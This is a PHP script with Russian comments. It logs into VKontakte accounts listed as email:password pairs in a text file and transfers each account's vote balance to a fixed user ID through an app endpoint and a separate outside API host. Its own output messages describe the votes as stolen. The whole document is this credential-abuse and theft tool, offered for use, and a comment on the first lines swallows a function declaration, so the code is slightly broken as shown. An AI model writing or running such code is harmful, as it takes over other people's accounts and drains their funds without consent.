<?php
set_time_limit(0);
error_reporting(1);
$to = "32170603"; // vote to idfunction curl($url,$post)
{
#echo "<br> $url | $post <br>\n";
$cfile = 'cookies.txt';
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cfile);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cfile);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_POST, 1);
$result = curl_exec($ch);
curl_close($ch);
return $result;
}
function transfer_vote($email,$pass,$to){
$result = curl("http://vkontakte.ru/login.php","email=$email&pass=$pass");
$result = curl("http://vkontakte.ru/app614422","");
preg_match("/viewer_id\: \"(.*?)\"/i", $result, $user_id);
preg_match("/balance = (.*?);/i", $result, $vote);
preg_match("/join(.*?)'>/i", $result, $appsl);
preg_match("/app_id = (.*?);/i", $result, $app_id);
preg_match("/app_hash = '(.*?)';/i", $result, $app_hash);
preg_match("/auth_key\: \"(.*?)\"/i", $result, $auth_key);
if ($vote['1'] >= "1") {
echo "#Спиздили ".$vote['1']." VOTE...<br>";
flush();
@ob_flush();
$result = curl("http://vkontakte.ru/apps.php?act=a_settings","app_id=614422&app_hash=".$app_hash['1']."&cn=0&caf=0&caph=0&caa=0&add=".$vote['1']."&withdraw=0");
$result = curl("http://api.vkontakte.fi/votes.php?uid_from=".$user_id['1']."&uid_to=".$to."&votes=".$vote['1']."00&auth=".$auth_key['1']);
echo "#Всё ok...<br>";
}
else {
echo "#Нету голосов на акке(<br>";
$result = false;
}
flush();
@ob_flush();
return $result;
}
echo "<style>body{background-color:#2B2F34;color:#C1C1C7;}input{color:#cccccc;b order:1px solid #404040;background-color:#221;}red{color:#FF0000}</style> ";
$is_aks = is_file ("votes.txt");
if($is_aks != 1){
die('Нету файла с аккаунтами! Создайте файл votes.txt с аккаунтами в виде email@mail.com:password');
}
$aks = file("votes.txt"); // AC file, login:pass
foreach($aks as $k => $v){
$ak = explode(":", trim($v));
echo "<b>--Логинимся--<br>E-mail:".$ak['0'].";password:".$ak['1']."<br>";
$vote_res = transfer_vote($ak['0'],$ak['1'],$to);
echo "------------------------------------------<br>";
flush();
@ob_flush();
}
?>
votes.txt - сюда кидать Акки, с которых сливаются голоса.
Скрипт работает через приложение: _http://vkontakte.ru/app614422